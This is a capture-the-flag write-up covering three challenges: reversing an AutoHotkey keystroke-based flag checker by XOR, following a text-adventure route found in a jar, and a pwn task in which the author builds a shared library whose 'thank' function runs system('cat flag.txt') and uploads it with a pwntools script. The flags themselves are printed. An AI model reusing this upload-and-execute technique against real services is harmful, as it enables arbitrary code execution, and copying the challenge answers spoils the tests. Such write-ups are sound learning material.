written by Annms_

REV

flagwatch

This is the first time ive ever heard about AHK.

Check the attachment with DIE,we can find out it is an AHK file,

and there is barely nothing to analyze in ida

so i googled how to reverse a AHK script,and surprised,text edi is enough

the inner logic is quite easy,xor the encrypted flag with 92 to get the flag.

src:

global flaginput := ""
logInput(key){
global flaginput
flaginput := flaginput . key
flaginput := SubStr(flaginput,-28)
checkInput()
}
checkInput(){
global flaginput
if (StrLen(flaginput) != 29)
return
if (SubStr(flaginput, 1, 5) != "bctf{" or SubStr(flaginput,0) != "}")
return
encrypted_flag := [62,63,40,58,39,40,111,63,52,50,53,63,104,48,48,37,3,61,3,55,57,37,48,108,59,59,111,46,33]
Loop 29
{
if ((encrypted_flag[A_Index] ^ 92) != Asc(SubStr(flaginput,A_Index,1))) {
MsgBox, You typed the wrong flag.
return
}
}
MsgBox, You typed the right flag!
}
~a::logInput("a")
~b::logInput("b")
~c::logInput("c")
~d::logInput("d")
~e::logInput("e")
~f::logInput("f")
~g::logInput("g")
~h::logInput("h")
~i::logInput("i")
~j::logInput("j")
~k::logInput("k")
~l::logInput("l")
~m::logInput("m")
~n::logInput("n")
~o::logInput("o")
~p::logInput("p")
~q::logInput("q")
~r::logInput("r")
~s::logInput("s")
~t::logInput("t")
~u::logInput("u")
~v::logInput("v")
~w::logInput("w")
~x::logInput("x")
~y::logInput("y")
~z::logInput("z")
~0::logInput("0")
~1::logInput("1")
~2::logInput("2")
~3::logInput("3")
~4::logInput("4")
~5::logInput("5")
~6::logInput("6")
~7::logInput("7")
~8::logInput("8")
~9::logInput("9")
~_::logInput("_")
~{::logInput("{")
~}::logInput("}")

exp:

#include<stdio.h>
​
int main()
{
    int enc[30]={62,63,40,58,39,40,111,63,52,50,53,63,104,48,48,37,3,61,3,55,57,37,48,108,59,59,111,46,33};
    for(int i=0;i<=28;i++)
    {
        printf("%c",enc[i]^92);
    }
    return 0;
 } 

HERE COMES THE FLAG

bctf{t3chnic4lly_a_keyl0gg3r}

text-adventure

connect and you will find out it is a text-adventure game

the route cam be found in the jar

The route:

room

action

dst

CaveEntrance

go in

EntryHall

EntryHall

grab torch/go right

Bridge

Bridge

go across

CrystalRoom

CrystalRoom

grab rope/go back

Bridge

Bridge

go hall

EntryHall

EntryHall

go middle

StairTop

StairTop

go down

StairBottom

StairBottom

go right

River

River

use rope

AcrossRiver

AcrossRiver

grab sword/go back

River

River

go back

StairBottom

StairBottom

go hall

EntryHall

EntryHall

go left

SpiderHallway

SpiderHallway

cut

Keyroom

Keyroom

grab key/go back/go hall

EntryHall

EntryHall

go middle/go down

StairBottom

StairBottom

go left

SealedRoom

SealedRoom

use key

DeadEnd

DeadEnd

reach through the crack in the rocks

->

DeadEnd

the crack in the rocks concealing the magical orb with the flag

->

F L A G

bctf{P33r_1nT0_tH3_j4r_2_f1nd_Th3_S3cR3Ts_d1463580a690f294}

thank[failed]

unsigned __int64 __fastcall main(int a1, char **a2, char **a3)
{
  int file_size; // ebp
  void *memset; // rbx
  FILE *v5; // r13
  char v7[40]; // [rsp+0h] [rbp-58h] BYREF
  unsigned __int64 v8; // [rsp+28h] [rbp-30h]
​
  v8 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  file_size = get_file_size_p();
  memset = getmalloc(file_size);
  getfile(memset, file_size);
  read_file_as_so((char *)memset, file_size, (__int64)v7, 32);
  v5 = open_file(v7);
  wirte_file(memset, file_size, v5);
  fclose(v5);
  free(memset);
  excute_thank(v7);
  remove(v7);
  return v8 - __readfsqword(0x28u);
}

The code above had been symbol-renamed, The key part is in function (execute_thank)

__int64 __fastcall sub_401570(const char *a1)
{
  void *v1; // rax
  void (*v2)(void); // rdx
  char v4[40]; // [rsp+0h] [rbp-38h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-10h]
​
  v5 = __readfsqword(0x28u);
  snprintf(v4, 0x20uLL, "%s", a1);
  v1 = dlopen(v4, 1);
  if ( v1 && (v2 = (void (*)(void))dlsym(v1, "thank")) != 0LL )
    v2();
  else
    puts("Thanks for your file!");
  return 0LL;
}

The logic of this function is basically to define an empty function v2, then read a field named thank from the file, and execute it as v2,that means there is a function named "thank" in our file,we can execute whatever order we want.

And we already know that the file being uploaded must be an .so file,so its source code can be like es:

#include<stdio.h>
#include<stdlib.h>
​
void thank()
{
    system("cat flag.txt");
}
​

and all we need is a simp payload now.

from pwn import *
p=remote("challs.pwnoh.io",13373)
​
with open('lib.so',"rb") as f:
    data=f.read()
​
p.sendline(b"15992")
p.send(data)
p.interactive()

However,I didnt get the flag after i uploaded the payload,i even correct my payload refer to what has been validated.

JUST ANNOYING EOF,AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH